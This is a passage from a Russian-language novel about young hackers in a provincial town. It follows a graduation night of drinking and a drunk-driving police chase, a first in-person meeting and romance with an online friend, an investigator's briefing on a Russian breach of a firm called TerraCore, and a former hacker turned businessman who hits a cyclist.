на  втором этаже, где, морща носы от  вони, разлили «Сангрию» по  плас‐
тиковым стаканчикам.

— Ну, за будущее! — провозгласил Санчо.
— Прозит!
Дверь туалета с  грохотом распахнулась, и  ребята суматошно спрятали

выпивку за  спину, ожидая облавы. Но  в мужской сортир заглянули не  ярые
поборники трезвости в  лице завуча с  директрисой, а  Катя Тетерина  — пух‐
ленькая, нарядная по случаю праздника одноклассница.

— Мальчики, у  вас случайно от  головы ничего нет?  — поинтересовалась
она.

— Конечно, есть! — радостно сообщил Санчо, доставая третий стакан. —
Заходи, Тетерина, и дверь за собой закрой.

— Вау, а что это у вас? А закусить есть? — при виде вина Катя оживилась
и даже немного порозовела.

— Ага, и  потанцевать!  — в  тон ей поддакнул Саня.  — Но  это потом. Пей
давай за  наше общее здоровье и  проваливай, у  нас тут чисто мужской раз‐
говор.

— Ой, можно подумать! — надула губки одноклассница, но тем не менее
залихватски тяпнула пятьдесят граммов вина и  привычно занюхала выпитое
рукавом нарядного платья. — Идите в столовку уже, там наши собрались.

— Ничего, всё без нас не сожрут, — заверил ее Кирилл.
Проводив взглядами удаляющуюся девушку, Киря с Саней выпили еще по

одной, после чего, закинув в  рот жвачки, спустились наконец в  вестибюль.
На школьном крыльце дежурили добровольцами чьи‑то отцы, следили, чтобы
на  территорию не  пробрались местные хулиганы и  не испортили детишкам
праздник, а  из столовой доносился многоголосый гомон и  приглушенная
музыка из старых колонок.

— Стоять!  — дорогу им преградила дежурившая в  холле первого этажа
классуха.  — Что это  вы такие веселые и  раскрасневшиеся, как  из бани?
Показываем рюкзаки и вещи!

Свою коробку с  вином Кирилл успел предусмотрительно припрятать
в нише пожарного гидранта на лестнице, а вот остатки запасов Санчо были
безжалостно изъяты. Впрочем, на общий ход празднования это никак не пов‐
лияло: выпускники налегали на пироги и холодные закуски, что‑то обсуждали,
шутили и  смеялись. Кирилл занял свободное место за  столом, лениво взял
вилку и, погруженный в свои мысли, обвел давно знакомое помещение сто‐
ловой взглядом. Вполне возможно, он видит одноклассников в  последний
раз: все они собрались сейчас здесь, чтобы проводить друг друга в неизвес‐
тность. Саня примостился рядом, подвинув какую‑то девчонку из параллель‐
ного, и принялся за оливье. Оба молчали — ни к чему было говорить. Выпус‐
кной — это не праздник, это финальный аккорд длинного трека, который кру‐
тился в ушах одиннадцать лет и вот наконец оборвался.

За окнами столовки уже маячил закат, багровое солнце, словно старый
монитор с  умирающей яркостью, медленно гасло за  горизонтом. Блюда
на  столах изрядно поредели, и  праздник плавно переместился обратно
в  актовый зал, где намечалась дискотека. Парни оттащили ряды кресел
с откидными сидушками к стенам, а одноклассник Толик, добровольно взяв‐
ший на  себя роль диджея, как  раз проверял звуковое оборудование и  мик‐
рофон.

— Ну что, распечатаем твою заначку?  — деловито предложил Кириллу
Санчо.

— Не возражаю, — откликнулся тот.
Вторую коробку вина решили распить в закутке перед кабинетом началь‐

ной военной подготовки на последнем этаже, предварительно утянув из сто‐
ловки остатки пирожков с  капустой на  закуску. За  воспоминаниями о  годах,
прошедших в  школьных стенах, емкость наполовину опустела, когда
в коридоре послышались шаги. Киря шустро припрятал остатки вина за што‐
ру, прикрыв подоконник спиной, но  тревога оказалась ложной: это  вновь
была Катя Тетерина, невесть как отыскавшая одноклассников в их убежище.

— Мальчики, пойдемте танцевать! — позвала она. — Хватит уже ныкаться
по углам!

— У меня для партнерш по танцам кастинг, — объявил изрядно захмелев‐
ший Санчо, — без очереди можно прорваться только через постель!

— Я не  поняла, Увалов, ты долбанутый или  обдолбанный?  — вскинулась
на него Тетерина.

— О, да ты прям снайпер! Два выстрела, и оба в яблочко!
Смерив одноклассника надменным взглядом, Тетерина уплыла навстречу

доносившимся из  актового зала аккордам «Руки вверх», а  Киря с  Саней
допили «Сангрию» и после короткого совещания отправились добывать изъ‐
ятые классухой полпакета вина — душа требовала продолжения банкета.

— У  меня на  это дело особый нюх,  — заверил друга Санчо,  — отвечаю,
они наше винище в  учительской заныкали. Сами, небось, выжрать хотят
под шумок.

Предположения оказались верны: початую коробку удалось разглядеть
сквозь щель в  приоткрытой двери, но  возле входа в  учительскую толкалась
биологичка Нина Викторовна, поставив план хищения под  угрозу срыва
самим фактом своего присутствия. Кирилл, будучи более трезвым, принялся
отвлекать почтенную учительницу разговорами, в  то время как  Санчо стре‐
мительной тенью скользнул за дверь. «Всё как обычно, — с улыбкой подумал
Киря, — разведка, поиск уязвимости, проникновение, закрепление в системе
и  под конец  — заметание следов». Да  и привычное ощущение опасности
будоражило нервы: на  горизонте в  любой момент могли появиться другие
педагоги, положив конец хакерской операции. Развлекая Нину Викторовну
воспоминаниями о  походе в  парк для  добычи гербариев, Кирилл заметил,
как Санчо демонстрирует прекрасно отработанную технику бокового переме‐
щения: выскользнув в коридор и даже не скрипнув дверью, тот показал другу
большой палец — акция удалась.

В поисках укромного местечка парни наткнулись на  компанию одноклас‐
сников, решивших разнообразить ход мероприятия бутылочкой портвейна.
Остатки «Сангрии» тоже пошли в дело, и спустя еще полчаса в голове Кирил‐
ла изрядно шумело, а  мир вокруг стал ритмично покачиваться в  такт катив‐
шейся по  полупустым школьным коридорам музыки, как  палуба угодившего
в  шторм теплохода. В  самый разгар веселья откуда‑то снова возникла
Тетерина  — уже изрядно пьяненькая и  веселая. Видно, у  девчонок нашлись
свои стратегические запасы горячительного.

— Санек, не хочешь уединиться? — с ходу подкатила Катерина к Санчо.
— Блин, я пытался, — ответил тот, — но ты снова меня нашла.
Допив свой портвейн, Саня потащил Кирилла в сторону актового зала, где

продолжалась всеобщая шумная движуха, но на полпути сообщил, что отпра‐
вится перекурить, а  заодно поищет еще  чего‑нибудь выпить. Оставшийся
в  одиночестве Киря шагнул в  полутемный зал, потолкался среди танцующих
и  даже дождался, пока Толик под  радостное улюлюканье одноклассников
поставит медляк. Всех красавиц как‑то стремительно разобрали, и  Кирилл
от  безысходности потанцевал с  низенькой и  кругленькой, как  колобок,
Мухиной. Танец, к  счастью, быстро закончился. Совсем уж заскучав, он
отправился на поиски друга, благо близилась кульминация культурной прог‐
раммы: бывшие школьники, вернее те из  них, кто еще  держался на  ногах,
всей толпой собирались отправиться на берег Подгорки встречать рассвет,
«первый рассвет своей взрослой жизни», как  пафосно нарекла это  мероп‐
риятие директриса в давешнем выступлении.

Поиски завершились в  туалете второго этажа: над  крашенной зеленой
краской и  исписанной похабностями перегородкой Киря узрел довольную
физиономию Санчо, а  чуть ниже, на  уровне его пояса, ритмично дви‐
гающуюся белобрысую голову Тетериной.

— Бро, постой на шухере пару минут, мы сейчас закончим, — вместо при‐
ветствия бросил ему Санек.

Появился он, правда, уже через минуту, застегивая на ходу штаны.
— Скоро на реку пойдем, — объяснил причину своего вторжения Кирилл.
— Зачем идти?  — изобразил удивление Санчо.  — Поедем, как  короли!

Катрин, айда с нами!
Свою машину с трудом держащийся на ногах Саня отпер только с третьей

попытки, прицепившаяся к ним как ни в чем не бывало Тетерина зябко ежи‐
лась, утопая по колено в стелющемся над землей предрассветном тумане.

— Ты уверен? — с сомнением в голосе спросил Киря. — Может, не стоит,
в твоем‑то состоянии?

— Не  ссы,  — глянув на  свою новоявленную подружку, ради которой он,
похоже, и устроил всю эту показуху, уверенно произнес Саня, — эт мне стоять
тяжело, а сидя будет намного легче!

«Шестерка» хищно рявкнула мотором. Выждав пару минут, Санчо включил
музыку погромче, открыл запотевающие окна, воткнул первую передачу
и покатился по пустынному переулку. Поначалу все шло гладко: под отрывис‐
тые звуки техно Саня свернул на  проспект Правды, попетлял по  окрестным
улицам и уже нырнул на бульвар, ведущий к реке, как вдруг на заднем стекле
замелькали синие и красные всполохи.

— Шухер, менты! — выкрикнул Кирилл.
Санчо вдавил педаль газа в  пол, и  «шестерка», истерично взвизгнув

шинами, понеслась навстречу рассвету. Дорога металась перед  лобовым
стеклом, взбесившиеся линии разметки замелькали перед глазами. Рев дви‐
гателя, скрежет резины об асфальт, желтый мигающий глаз светофора, ули‐
цы, переулки — все слилось в яркую карусель, проносящуюся перед затума‐
ненным взглядом Кирилла. Саня сжимал побелевшими пальцами руль, и Киря
подумал, что недаром тот проводил часы в гоночных симуляторах вроде Need
for Speed, пока сам он мучил «Героев»,  — похоже, машину он вел исклю‐
чительно на рефлексах.

Однако в какой‑то момент рефлексы все‑таки дали сбой. Саня резко свернул
в  сторону, взвыл движок, и  Кирилл почувствовал, как  «шестерка», отор‐
вавшись от земли, устремляется в воздух. В следующую минуту машина вло‐
милась в густой кустарник, скрывавший заросший берег Подгорки, и, с трес‐
ком ломая ветви, заглохла. Стих двигатель, погасли фары, умолкла музыка.
Спустя минуту мимо пронеслась и затихла милицейская сирена — в предрас‐
светных сумерках овражек и густой подлесок скрыли машину, и преследова‐
тели в  горячке погони, похоже, не  заметили ее. С  трудом открыв дверь,
Кирилл наполовину высунулся наружу, и  его шумно вывернуло остатками
съеденных салатов и  перебродившей винной кислятиной. Как  ни странно,
сразу стало легче.

***

Домой он вернулся, когда солнце уже украсило золотыми бликами крыши
домов, а  по небу разлилась голубая лазурь. В  происшествии чудом никто
не  пострадал, кроме машины: Санчо отделался лишь парой царапин,
а Тетерина набила шишку на лбу, но, кажется, осталась довольна неожидан‐
ным аттракционом. Бросив «шестерку» в  кустах, Санчо со  своей спутницей
отправились искать гуляющих по  набережной одноклассников, а  Киря
зашагал к себе, решив, что приключений ему на сегодня достаточно.

Шел он медленно, слушая хруст гравия под  ногами. Возле реки начинался
городской парк, раскинувшийся на  пологом холме, откуда открывался прек‐
расный вид на  всю прибрежную часть Подгорска. Город лежал перед  ним,
словно великан, только что пробудившийся ото  сна. Окна домов были тем‐
ными, несколько первых машин лениво проползли по  улицам, не  нарушая
спокойствия. Даже птицы в кронах деревьев периодически замолкали, и парк
тонул в пахнущей зеленью тишине. Кирилл ощущал эту тишину так остро, буд‐
то ее можно было потрогать, — она звенела в ушах, отзываясь где‑то в глу‐
бине души радостными нотками. Он остановился на  мосту, облокотившись
на перила. Река внизу несла свои темные воды и была похожа на огромное,
медленно текущее зеркало, отражающее бездонное небо. В ее течении чувс‐
твовалось что‑то древнее, она не  замечала мелькания дней, человеческих
жизней и целых эпох.

Он вдохнул воздух поглубже, наполнив легкие утренней прохладой, и зак‐
рыл глаза на  мгновение. Не  было ни  тревоги, ни  особой радости  — только
почти невесомое чувство свободы. Но  и эта свобода пока что казалась
далекой, как размазанные тени деревьев на поверхности воды.

Утренняя прохлада сделала свое дело: по пути Кирилл слегка протрезвел.
Мать высунулась из своей комнаты и, убедившись, что сын жив и относитель‐
но здоров, прикрыла дверь поплотнее. Спать совершенно не хотелось: ски‐
нув верхнюю одежду, Киря включил комп. Трикси была в сети — похоже, она
тоже еще не ложилась.

«Что не спишь в такую рань?» — поприветствовал подругу он.
«А ты?» — возник на экране ответ.
«На выпускном гулял, — отстучал по клавишам он. — Потом по городу бол‐

тался с друзьями».
«О, начало взрослой жизни и  все такое :),  — отправила ему смайлик

Алла. — И как прошло?»
«Да вообще отлично. Тепло, погода прекрасная».
«Блин, даже завидую», — ответила Трикси и поставила в конце сообщения

грустный смайл.
«Так приезжай в  гости,  — подмигнул запятой со  скобочкой Кирилл.  —

Сможем встретить рассвет вместе».
«Идея мне нравится, — появилось ответное сообщение, заставив сердце

Кирилла забиться чаще. — Приеду. Встретишь?»
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Тянуть витую пару в старой панельке — занятие для сильных духом, осо‐
бенно если делать это  приходится, стоя по  щиколотку в  полузатопленном
вонючей водой подвале или  согнувшись в  три погибели на  чердаке, среди
керамзита, выброшенного жильцами хлама и  дохлых голубей. Важнейшим
техническим устройством тут считалось пластмассовое ведро, только
использовать его следовало по‑разному: в  подвале в  ведро помещался
свитч, чтобы в  случае очередного потопа он аккуратно всплыл на  повер‐
хность, а вот на чердаке коммутатор этим самым ведром следовало накрыть,
дабы уберечь ценное сетевое оборудование от  птичьего помета. Переехав
после выпускного в съемную квартиру на окраине Подгорска, Кирилл первым
делом решил обеспечить свое новое жилище доступом к интернету. Однако
организаторы местной локалки его не обнадежили: свободных рук, умеющих
подключать новых абонентов, в  наличии не  оказалось, придется подождать.
Чтобы сэкономить время, Киря предложил протянуть кабель в  квартиру
самостоятельно, на что тут же получил добро — если, конечно, сумеет найти
на чердаке свободный порт.

Порт отыскался, а  вот протаскивать провод сквозь забитые каналы
в  межэтажных перекрытиях, матюгаясь вполголоса на  заваленные мусором
лестничные щитки и переругиваясь с выбегающими на шум пожилыми сосед‐
ками, оказалось непросто. Закончил Кирилл только к  вечеру, совершенно
обессилев. Уборку своей однокомнатной берлоги он отложил на утро: в один‐
надцать нужно было встречать Трикси, так что времени оставалось в обрез.

На следующий день он все‑таки проспал. Наспех рассовав по  полкам
вещи и  умывшись, Кирилл бегом рванул на  вокзал, нервно поглядывая
на  часы: успеет или  нет? Однако прибежав буквально минута в  минуту, он
с облегчением узнал, что поезд тоже запаздывает. Значит, есть возможность
хоть немного отдышаться, стоя на полупустом перроне с купленным по пути
букетом гвоздик.

Дребезжащий голос, объявляющий что‑то из  громкоговорителя, запах
креозота и мазута, к которому примешивался по‑деревенски ароматный дым
из печной трубы привокзальной сторожки, — знакомая атмосфера, заставля‐
ющая сердце биться чаще. В  детстве Кирилл несколько раз уезжал с  этого
вокзала в летний лагерь, путевки в который добывала на работе мама, и вся‐
кий раз возвращался сюда же. Но  сейчас учащенный пульс стучал в  висках
совсем по  иной причине. А  что, если обещание Трикси лишь шутка и  она
не  приедет? Кирилл внезапно подумал, как  нелепо будет выглядеть со  сво‐
ими гвоздиками на пустой платформе, так никого и не дождавшись. Нет, дол‐
жна приехать… Но что тогда? Там, в сети, все казалось простым. Там очень
просто скрыть неловкость  — нарисованные улыбки не  могут показаться
натянутыми. Трикси была частью его мира, но до сих пор — лишь по ту сто‐
рону монитора. В  жизни она может оказаться совсем не  той, чьи фразы он
запоминал и перечитывал, не  той, в чьем голосе звучали мягкие интонации,
которые он слышал, даже читая сообщения на экране. Что, если это все было
лишь фантомом, созданным его воображением? Да  и сам он вполне может
показаться совсем не  тем, кого она ожидает увидеть. Иллюзия хрупка, она
может рассыпаться в краткий миг, от одного случайного жеста, слова, взгля‐
да.

Вдали показалась зеленая гусеница состава, ползущего по  сверкающим
на  солнце нитям рельс. Поезд втянулся на  станцию, замедлился, скрежеща
сочленениями, и  наконец остановился. Проводники открыли двери вагонов.
Кирилл напрягся, выпрямился  — но  ноги предательски сделались ватными.
Люди с  чемоданами и  баулами высыпали на  платформу, потянулись к  над‐
земному переходу, нависшему над  железнодорожными путями, но  Кирилл
не замечал их. Он искал только одного пассажира.

Он сам не  понял как, но  узнал ее сразу, хотя никогда не  видел до  этого.
Невысокая худенькая девушка в  джинсах, с  небрежно наброшенным рюк‐
зачком на плече, волосы чуть растрепаны ветром. Волосы… Именно они пер‐
выми бросались в глаза, вызывая тихое удивление. Светлые, почти платино‐
вые пряди на  уровне висков вдруг превращались в  черный бархат, спа‐
дающий до самых плеч. Трикси смотрела в толпу, выискивая кого‑то.

Их взгляды встретились, и в ее глазах промелькнуло что‑то, что он не мог
сразу разобрать. Замешательство? Тревога? Кирилл сделал шаг вперед,
чувствуя, как немеет горло, будто в разгар простуды.

— Привет, — собственный голос показался ему совершенно чужим.
— Привет,  — ответила она с  улыбкой.  — Ну что, так и  будем торчать тут

посреди вокзала? Веди уж куда‑нибудь, ты тут все знаешь. Желательно туда,
где можно перекусить, я голодная, как стая волков.

— Вот на привокзальной площади лучше не обедать, — со знанием дела
откликнулся Кирилл,  — последствия могут быть непредсказуемыми. Зато
недалеко отсюда есть отличный кафушник, там очень вкусно кормят. Потер‐
пишь минут десять? Тогда пошли.

— Ну пойдем, — Алла ловко подхватила его под руку и потащила к перехо‐
ду, — ты сам‑то уже позавтракал?

— Не успел, решил тебя дождаться. Как добралась?
— Ой, блин, поездка в  плацкарте кажется веселым приключением ровно

до  тех пор, пока рядом не  оказывается парочка орущих детей и  компания
бухих отпускников…

Они болтали, как будто расстались только накануне, словно и не было этих
сотен километров, разделявших их в  сети. Кирилл наслаждался каждой
минутой этого общения: несмотря на весь страх, все сомнения, это действи‐
тельно была она. Та самая Трикси, которую он знал как  минимум полгода,
только настоящая, живая, реальная.

Пообедав в  кафе и  слопав по  порции мороженого, они отправились
в  парк, протянувшийся вдоль берега Подгорки. Лето уже вовсю намекало
на  то, что скоро наступит жаркий сезон: на  зеленеющих травой склонах
у воды уже пестрели расстеленные тут и там коврики с загорающими людьми,
а  от затонов, скрытых от  посторонних глаз зарослями кустарника, тянулся
ароматный дымок шашлыков.

— Чему ты улыбаешься?  — спросила Алла, искоса взглянув на  своего
спутника.

— Да вот вспомнилось, как Санчо поначалу считал тебя толстым волоса‐
тым мужиком, косящим под  девушку,  — поделился Кирилл.  — Приятно соз‐
навать, что он все‑таки ошибся.

— Санчо вообще какой‑то странный в  последнее время,  — пожала пле‐
чами Трикси.

— Вы общаетесь? — Кирилл вдруг почувствовал легкий укол ревности.
— Ну да,  — улыбнулась девушка,  — мы же работали вместе, или  уже

забыл? Чем он вообще сейчас занимается?
— Да так… Компами в основном, вроде бы хочет завязать с кардерством

и прочей чернухой, — Кирилл решил не вдаваться в подробности жизненных
перипетий своего школьного друга.  — В  общем, ты сама у  него спроси
при случае.

— А  он не  хочет об  этом говорить,  — скривилась Трикси,  — его то
в  какую‑то философию швыряет, то он вдруг начинает параноить на  пустом
месте. Зачем спрашиваешь, почему интересуешься, для  чего тебе
это знать… Говорю же, странный какой‑то.

Киря догадывался о  причинах подобного поведения Сани, и  при мыслях
об  этом что‑то в  его душе всякий раз сжималось. Но  говорить об  этом
с  Аллой казалось выше его сил, не  находилось правильных и  нужных слов.
Настроение Санчо порой и  вправду менялось по  нескольку раз на  день
под  действием принимаемых им веществ, и  на отходняках того регулярно
одолевала мания преследования, когда за каждым углом мерещились враги
или  шпионы. Но  об этом Кирилл тоже решил промолчать. В  конце концов,
это  личное дело Санчо, а  к его собственному мнению тот давно не  прис‐
лушивался.

— Ты сам‑то с ним говорил?
— Да, пару дней назад, — ответил Киря, стараясь, чтобы голос звучал лег‐

ко, почти беззаботно. — Он всегда немного странный, но Санчо есть Санчо.
У него сейчас непростой период.

Трикси фыркнула, недовольно поджав губы.
— Непростой период? Он начал вести себя, как  будто вообще выпал

из  реальности. Недавно он такое мне написал... Я даже не  знаю, о  чем
это вообще было.

Кирилл хотел было ответить что‑то саркастичное, отмахнуться, сказать, что
Санчо просто увлекся новыми идеями и  экспериментами, но  слова
не находили выхода.

— Может, ему просто нужно время, чтобы найти себя,  — произнес
наконец он.

Трикси медленно кивнула, но в ее взгляде осталось нечто, показавшееся
Кириллу знакомым по  их общению в  сети,  — настойчивость, стремление
докопаться до правды.

— Может быть, — пробормотала она и добавила: — Только знаешь... если
это  что‑то действительно серьезное, мне хотелось  бы знать. Я переживаю
за него.

Решив сменить тему, Кирилл рассказал несколько забавных баек, про‐
читанных на форуме, а Алла поделилась впечатлениями о последней версии
винды, бету которой ей удалось недавно раздобыть. День уже катился
к  закату, и  в вечернем воздухе чувствовалась какая‑то особенная легкость.
Кирилл шел рядом с Трикси, слушая ее голос и ощущая, как напряжение пос‐
ледних дней понемногу растворяется в  сгущающихся сумерках. Вечер мед‐
ленно окутывал город, и  он вдруг подумал, что совсем не  хочет, чтобы этот
вечер заканчивался.

— Странно, — Трикси слегка понизила голос, и в ее глазах промелькнуло
что‑то игривое, почти загадочное,  — мне всегда казалось, что ночью
в городе можно отыскать какой‑то секрет. Если будешь идти по незнакомым
улицам достаточно долго, откроешь дверь в другой мир.

— Что‑то вроде портала в  параллельную реальность?  — подыграл ей
Кирилл, улыбнувшись.

— Может быть, — она пожала плечами и, немного задумавшись, добави‐
ла: — Или наоборот, этот мир вдруг изменится до неузнаваемости.

Они свернули за  угол, и  густые тени домов накрыли их темным одеялом,
погрузив в  полумрак. Трикси остановилась на  мгновение, оглядываясь вок‐
руг.

— Кстати, а куда мы идем?
— В другую реальность, как ты и хотела, — ответил он. — В общем‑то, мы

уже почти пришли.

Когда автоматические двери лифта закрылись, отрезав их в  тесной кабинке
от внешнего мира, Кирилл осторожно, словно боясь обжечься, взял девушку
за плечи и притянул к себе. Она не отстранилась: поцелуй получился долгим
и жарким. Кирилл нашарил в кармане ключи от квартиры далеко не сразу: ему
не хотелось ее отпускать, он опасался, что это сладкое наваждение вот‑вот
развеется. Захлопнув за  собой дверь, они не  стали зажигать свет. Кирилл
повлек ее в комнату, на ходу избавляясь от одежды. Тусклого света уличных
фонарей за потемневшим окном хватило, чтобы разглядеть силуэт ее неболь‐
шой упругой груди и  округлую линию бедер, которую больше не  скрывали
узкие джинсы. Кирилл нежно откинул прядь волос с  ее лица, его пальцы
прошлись по ее коже, а она коснулась его руки — осторожно, словно ступая
по  хрупкому льду. Они замерли на  краю пропасти на  мгновение и  сделали
шаг вперед. Кирилл старался двигаться осторожно, будто танцевал
под  музыку, которую могли услышать только они вдвоем. И  с каждым мгно‐
вением он чувствовал, как  реальность вокруг исчезает, растворяется,
оставляя их наедине, как два затонувших корабля в океанских глубинах.

Спустя полчаса они лежали рядом, ощущая тепло разгоряченных тел друг
друга. Кирилл вдруг поймал себя на мысли, что будущее, раньше казавшееся
ему туманным и немного пугающим, стало выглядеть гораздо более светлым.
«Теперь‑то уж точно все будет хорошо», — подумал он.

***

Пронзительная трель стоявшего на  столе телефонного аппарата отвлекла
от  просмотра развернутого на  экране документа. Вполголоса выругавшись,
он протянул руку и снял трубку.

— Привет, Джейк!  — раздался в  динамике знакомый голос Мартина,
руководителя департамента аналитики. — Занят?

— Как обычно, — ответил Джейк Кадлер, — работы много, удовольствия
мало. Что случилось?

— Босс хотел нас с тобой видеть. Заглянешь?
— Через пару минут.
Заблокировав по привычке компьютер, Джейк прихватил со стола блокнот

с ручкой, чтобы записать при необходимости важные мысли начальства, и на
мгновение замер, глядя в окно. За стеклом моросил дождь, размывая укры‐
тые клочьями низких туч башни небоскребов даунтауна, бескрайняя авто‐
мобильная стоянка внизу блестела влажным асфальтом. Когда Джейк только
въехал в свой кабинет пару лет назад, это панорамное окно в пол показалось
ему прекрасным дополнением к стильному интерьеру офиса. Сейчас он вре‐
менами ловил себя на  подсознательном желании выйти сквозь это  стекло
навстречу раскинувшемуся за  ним городскому пейзажу. Тридцать шестой
этаж, до  стоянки внизу  — секунды две. Тряхнув головой, чтобы отогнать
нехорошие мысли, Джейк вышел в  коридор и  окунулся в  гул человеческих
голосов, пиликающих телефонов и хлопающих дверей.

На тридцать восьмой этаж, где располагался офис Эллингвуда, он под‐
нялся на  лифте. Полнеющий и  лысеющий Лайонелл в  расстегнутом синем
пиджаке приподнялся из‑за стола, протянул ему руку. Мартин был уже тут
и просто улыбнулся старому знакомому.

— Давайте сразу к делу, — сказал Эллингвуд, склонив блестящую лысину
к  монитору,  — я прочитал ваш пятничный доклад и  хочу уточнить несколько
вопросов. Самый важный из них: что там с TerraCore?

— Как раз сегодня читал отчет аналитиков, — ответил Кадлер, кивнув Мар‐
тину, который и  переслал этот отчет.  — Кое‑что есть, но  нам понадобится
время, чтобы во всем досконально разобраться.

— Нету у нас времени, — недовольно проворчал Эллингвуд. — Ты знаешь,
Джейк, кто числится среди заказчиков TerraCore? «Локхид», НАСА и  минис‐
терство обороны. Если они привлекут к  расследованию АНБ, а  к этому все
идет, на нас начнут давить. Что говорят твои аналитики, Мартин?

— Зацепок пока мало, — уклончиво произнес глава аналитического отде‐
ла. — Хакеры стерли логи, но на серверах TerraCore было нечто вроде «кор‐
зины», куда временно помещались все удаляемые файлы. В  нее они заг‐
лянуть не догадались, поэтому теперь мы можем шаг за шагом восстановить
хронологию их действий. Буквально каждую секунду от начала и до конца.

— И что известно на текущий момент?
— Сейчас мы можем с  определенностью сказать только одно, что

это были русские.
— Русские, значит… — задумчиво протянул Эллингвуд. — Кто‑то из наших

старых знакомых?
— Пока еще  трудно судить. Мы работаем. Но  скоро установим их всех,

за это я могу поручиться.
— Как думаешь, Джейк, придется привлекать Европол? — этот вопрос был

адресован Кадлеру, и  тот постарался ответить как  можно более обтекаемо,
чтобы потом не пришлось оправдываться:

— Слишком мало информации, Лайонелл, я думаю, мы примем решение
позже. Но это один из самых очевидных вариантов, сотрудничество с русской
полицией по линии ФБР практически отсутствует.

— Не хотелось бы впутывать сюда европейцев, — недовольно проворчал
Эллингвуд, — они и так постоянно суют нос в наши дела, особенно там, где
не надо. Что говорят безопасники?

— Мы примерно знаем, как  хакеры проникли в  сеть TerraCore,  — отоз‐
вался Джейк,  — сейчас наши технические специалисты консультируют их
секьюрити‑сервис, чтобы закрыть лазейки и избежать повторных инцидентов.
Мы на постоянном контакте с офисом в Далласе.

— Ладно, держите меня в  курсе,  — махнул пухлой рукой Эллингвуд,  —
не буду вас больше задерживать. Идите работать.

— Что скажешь? — по‑приятельски толкнул плечом Кадлера Мартин, когда
они покинули начальственный кабинет. — Похоже, шефа слегка припекло?

— Не  удивлен,  — пожал плечами Джейк,  — с  одной стороны на  него
наседают правительство и  аэнбэшники, с  другой  — журналисты не  дают
покоя. Любой на  его месте начал  бы дергаться. Спасибо за  отчет, Марти, я
позвоню тебе, как только дочитаю.

— Думаешь, прижмем этих парней? — в голосе главного аналитика скво‐
зило скорее любопытство, чем сомнение: он‑то свою работу уже сделал,
и  результат теперь будут спрашивать не  с его ребят, а  с департамента,
которым командовал Кадлер.

— Определенно, — кивнул Джейк. — Для меня это теперь дело принципа.



COVERSTORY

— Александр Евгеньевич, к вам посетительница.
Судя по  высокомерно‑брезгливой гримасе на  лице офис‑менеджера

Леры, «посетительница» была из  числа тех девушек не  слишком тяжелого
поведения, которых Александр Евгеньевич обычно вызванивал для  намеча‐
ющихся поездок в  сауну. А  сегодня как  раз планировалось именно такое
мероприятие.

— Пусть в  приемной подождет,  — махнул рукой он, прокручивая новос‐
тную ленту на экране ноутбука.

«Хакерская группировка Sсade атакует западные компании: данные тысяч
клиентов оказались под  угрозой»,  — кричал один из  заголовков. Александр
Евгеньевич пробежал глазами статью и  усмехнулся: похоже, Кикс и  Трикси,
по слухам примкнувшие к Sсade, не забросили свою бурную деятельность —
вон уже и в прессе засветились. В последний раз он видел обоих года пол‐
тора назад, случайно столкнувшись с Киксом на улице. И тот, к огромному его
изумлению, сообщил, что вот эта щуплая девушка с причудливо окрашенными
черно‑белыми волосами и  есть Трикси. Тогда Кирилл привычно назвал его
Санчо, но  с тех пор Александр Евгеньевич ни  разу не  слышал этого обра‐
щения в свой адрес. Да и встречаться с бывшими товарищами по киберраз‐
влечениям было попросту некогда: поставщики, посредники, менеджеры,
продавцы‑консультанты, бесконечные переговоры и  созвоны отнимали все
время, не  оставляя ни  одной свободной минуты. А  как иначе: два магазина
компьютерной техники, сейчас вот открывается третья точка. Из  масштабов
родного города бизнес уже вырос, пора выходить на  регион. Кикс, к  слову,
писал пару недель назад, что к  этому самому бизнесу начинают проявлять
нездоровый интерес люди из  серьезных силовых структур, но  всерьез он
это  предупреждение не  воспринял  — кто только не  интересовался его
делами и деньгами. Время сейчас такое, неспокойное.

Из‑за всей этой бесконечной суеты давала о  себе знать накопившаяся
усталость. Вечерами Санчо никак не мог уснуть, полночи ворочаясь в постели
и прокручивая в голове события прошедшего дня, а под утро вставал совер‐
шенно разбитым с опухшей головой и мигренью. Если бы не стимуляторы, он,
наверное, давно откинул  бы копыта от  перенапряжения и  нервного исто‐
щения… Надо время от времени переключаться и отдыхать, надо. Вот сегод‐
ня он немного развеется в  сауне  — расслабляющий массаж, потом оздо‐
ровительный секс… Девчонки у  Коли Старого были опытные, проверенные,
без неприятных сюрпризов. То, что надо для солидного и уважаемого челове‐
ка.

Шмыгнув носом  — неизбежные издержки принимаемых им стимули‐
рующих умственную деятельность средств,  — Александр Евгеньевич достал
из  ящика стола плоскую бутылочку коньяка, плеснул себе в  стопку, залпом
выпил. Потом захлопнул ноутбук и поднялся на ноги: пора.

— Пойдем, — кивнул он девице в вызывающем мини, полулежавшей нога
на  ногу в  глубинах дорогого кожаного дивана за  дверью кабинета.  —
Как звать?

— Анжела…
Анжела, конечно же, на  самом деле была какой‑нибудь Машей или  Све‐

той, но  Александр Евгеньевич решил не  вдаваться в  подробности. Пусть
будет Анжела: все равно он видит эту девицу в первый раз в жизни, а если ему
не  понравится ее общество, то и  в последний. Спустившись по  лестнице
на парковку, он надавил кнопку брелока — темно‑синяя «Вольво» приветливо
блямкнула клаксоном и  подмигнула аварийкой. Усевшись на  водительское
сиденье, Александр Евгеньевич дождался, когда Анжела‑Света разместится
рядом, завел двигатель и включил кондей посильнее, чтобы не потели стекла.

— Пристегнись, — скомандовал он.
Машина беззвучно вырулила на проспект и направилась в центр, а мысли

привычно покатились по  накатанной колее. Нужно позвонить завтра с  утра
в  Питер, узнать, доставили ли на  склад последнюю отгрузку из  Финляндии.
Партия товара из  Китая уже неделю как  застряла в  порту в  Клайпеде, опять
какая‑то хрень с таможенными документами. Пора менять логистов, эти сов‐
сем обленились. Только где взять таких, которые не напарят и работать будут
нормально? Эти‑то проверенные, хоть и  раздолбаи конченые. Надо, навер‐
ное, у Старого спросить, может, он кого посоветует…

Все случилось настолько быстро, что Александр даже не понял, что имен‐
но произошло. Глухой удар, вернувший его из отвлеченных раздумий в реаль‐
ность, пронзительный визг Анжелы, машину на мгновение мотнуло в сторону,
прежде чем он успел остановиться. Пытаясь унять бешено молотящееся сер‐
дце, Санчо открыл водительскую дверь. Под  бампером  — искореженный
велосипед, чуть в стороне — неподвижное тело, нога вывернута под неестес‐
твенным углом, под  головой лежащего человека медленно расплывается
по  асфальту темное пятно. Стараясь не  смотреть в  ту сторону, он нащупал
дрожащей рукой в  кармане пачку сигарет и  принялся искать телефон. Черт,
похоже, забыл в кабинете.

Сине‑красные всполохи проблескового маяка возникли на  стекле «Вольво»
